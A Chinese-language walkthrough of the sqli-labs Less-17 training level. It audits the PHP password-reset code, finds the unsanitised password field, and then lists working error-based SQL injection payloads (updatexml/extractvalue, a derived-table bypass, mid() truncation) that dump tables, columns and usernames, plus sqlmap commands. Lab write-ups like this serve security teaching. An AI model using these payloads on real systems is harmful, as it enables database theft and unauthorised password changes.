Less17基于报错的字符型注入
Less17基于报错的字符型注入
打开环境是一个密码重置页面
在用户名栏输入各种语句都无效,遂审计源码
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
这里面定义了个函数,输入的usename会在这里被滤一次,再看看几个过滤函数的意思
get_magic_quotes_gpc(),该函数返回检测PHP环境配置变量get_magic_quotes_gpc的值,当该配置的值为1的时候,PHP就会对输入的单引号、双引号、反斜杠等字符转义(也就是在它前面加上反斜杠),当值为0的时候就不会转义
stripslashes(),该函数用于去除字符串里的反斜杠,也就是防止转义
ctype_digit(),该函数用于检测字符串是否为纯数字,是则返回true,不是返回false
mysql_real_escape_string(),该函数用于转义SQL语句中的特殊字符串,导致闭合失败等问题,防止SQL注入
intval(),该函数用于将字符串转化为纯数字
分析完后发现,只要经过这里一次,基本上不能进行SQL注入了,但是password没有被过滤,所以能以password这里作为注入点,但是呢必须得输对用户名才行
if(isset($_POST['uname']) && isset($_POST['passwd'])) //需要用户名和密码都有输入
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']); //对用户名参数做了输入检查
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row) //当用户名存在时,才会执行修改密码的操作
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
第一条SQL语句没有带password,第二条有,但是没有回显,可以利用报错盲注进行注入
一、手工注入
尝试admin帐号修改,发现存在该账号,故可在密码处进行注入
1.爆破数据表
-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database() limit 0,1)),1) #
2.爆破字段名
-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')),1) #
3.爆字段值
1' and extractvalue(1,concat(0x7e,(select group_concat(username) from users)))#
此时出现报错
对应的是update的语句,不能select表中的某些值,但是我们可以用其他方法绕过 ,将表名users用(select username from users)a替换掉
-1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users)a)),1)#
由于报错回显最多32位字符串,所以导致了回显不全的问题,我们可以利用字符串截断函数进行截断回显,这里我们使用mid函数,截断查询语句,从第32位开始查看回显31位字符串,也就是mid(SQL语句,32,31)
-1' and updatexml(1,concat(0x7e,mid((select group_concat(username) from (select username from users)a),32,32)),1)#
二、SQLMap注入
通过BP进行抓包
然后把内容保存到txt文件中,放到kali中跑脚本
sqlmap -r data.txt --dbs
sqlmap -r data.txt -D security --tables
后续的步骤与之前关卡相同,就不再重复了